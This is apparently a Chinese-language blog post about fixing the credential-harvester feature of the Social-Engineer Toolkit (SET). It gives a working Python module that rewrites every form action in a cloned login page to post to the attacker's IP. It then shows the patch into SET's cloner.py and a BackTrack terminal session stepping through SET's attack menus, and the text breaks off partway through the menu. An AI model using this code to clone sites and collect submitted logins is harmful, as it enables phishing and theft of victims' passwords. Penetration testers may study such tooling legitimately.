Credential Harvester Attack Method获得用户信息

前段时间在学习SET,发现Credential Harvester Attack Method一直无法获得登录的用户名和密码,一开始用wireshark抓包来调试,的确没有相应的数据,后来怀疑是代码的问题,于是查看python代码。本人没学过python,因此还不得不去学习一下python。今天看代码,看到cloner.py的代码有问题。于是修改之,增加了一个新的模块:

#!/usr/bin/python
# Filename: ModifyFormAction.py

import sys
import os
from pyquery import PyQuery as pq
from lxml import etree

def ModifyFormAction(htmlPath, url):
    if not os.path.isfile(htmlPath):
        print "%s is not a file" % htmlPath
        return
    d = pq(filename=htmlPath, parser='html')
    forms = d('form')
    for each in forms:
        each.action = url

    f = file(htmlPath, 'w')
    f.write(d.outerHtml().encode('utf-8'))
    f.close()
    print "Modified successfully"


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print "Usage: htmlPath url"
    else:
        ModifyFormAction(sys.argv[1], sys.argv[2])    

此模块用来修改form表单的action。

在cloner.py里要调用该模块的函数:

from ModifyFormAction import *

在220左右,有代码:

        if site_cloned == True:

            ## make a backup of the site if needed
            shutil.copyfile("src/program_junk/web_clone/index.html", "src/program_junk/web_clone/index.html.bak")

调用上面我写的函数:

        if site_cloned == True:

            ## make a backup of the site if needed
            shutil.copyfile("src/program_junk/web_clone/index.html", "src/program_junk/web_clone/index.html.bak")
            ModifyFormAction("src/program_junk/web_clone/index.html", "http://%s/" % ipaddr)

然后上传把这两个文件,上传到/pentest/exploits/set/src/webattack/web_clone,替换原来的文件。

然后操作如下:

root@bt:/pentest/exploits/set# ./set


                 .M"""bgd `7MM"""YMM MMP""MM""YMM 
                ,MI    "Y   MM    `7 P'   MM   `7 
                `MMb.       MM   d        MM      
                  `YMMNq.   MMmmMM        MM      
                .     `MM   MM   Y  ,     MM      
                Mb     dM   MM     ,M     MM      
                P"Ybmmd"  .JMMmmmmMMM   .JMML.

  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1



                  !\_________________________/!\
                  !!                         !! \
                  !! Social-Engineer Toolkit !!  \
                  !!                         !!  !
                  !!          u r so         !!  !
                  !!                         !!  !
                  !!          #pwnd          !!  !
                  !!                         !!  !
                  !!                         !!  /
                  !!_________________________!! /
                  !/_________________________\!/
                     __\_________________/__/!_
                    !_______________________!/
                  ________________________
                 /oooo  oooo  oooo  oooo /!
                /ooooooooooooooooooooooo/ /
               /ooooooooooooooooooooooo/ /
              /C=_____________________/_/

  [---]        The Social-Engineer Toolkit (SET)         [---]        
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]        Development Team: JR DePre (pr1me)        [---]
  [---]        Development Team: Joey Furr (j0fer)       [---]
  [---]        Development Team: Thomas Werth            [---]
  [---]        Development Team: Garland                 [---]
  [---]                  Version: 3.6                    [---]
  [---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---]
  [---]        Report bugs: [email protected]         [---]
  [---]         Follow me on Twitter: dave_rel1k         [---]
  [---]       Homepage: https://www.trustedsec.com       [---]

   Welcome to the Social-Engineer Toolkit (SET). Your one
    stop shop for all of your social-engineering needs..
    
    Join us on irc.freenode.net in channel #setoolkit

  The Social-Engineer Toolkit is a product of TrustedSec.

           Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

 The Web Attack module is  a unique way of utilizing multiple web-based attacks
 in order to compromise the intended victim.

 The Java Applet Attack method will spoof a Java Certificate and deliver a 
 metasploit based payload. Uses a customized java applet created by Thomas
 Werth to deliver the payload.

 The Metasploit Browser Exploit method will utilize select Metasploit
 browser exploits through an iframe and deliver a Metasploit payload.

 The Credential Harvester method will utilize web cloning of a web-
 site that has a username and password field and harvest all the 
 information posted to the website.

 The TabNabbing method will wait for a user to move to a different
 tab, then refresh the page to something different.

 The Man Left in the Middle Attack method was introduced by Kos and 
 utilizes HTTP REFERER's in order to intercept fields and harvest 
 data from them. You need to have an already vulnerable site and in-
 corporate 
                    
                    

你可能感兴趣的:(backtrack,python,metasploit,SET)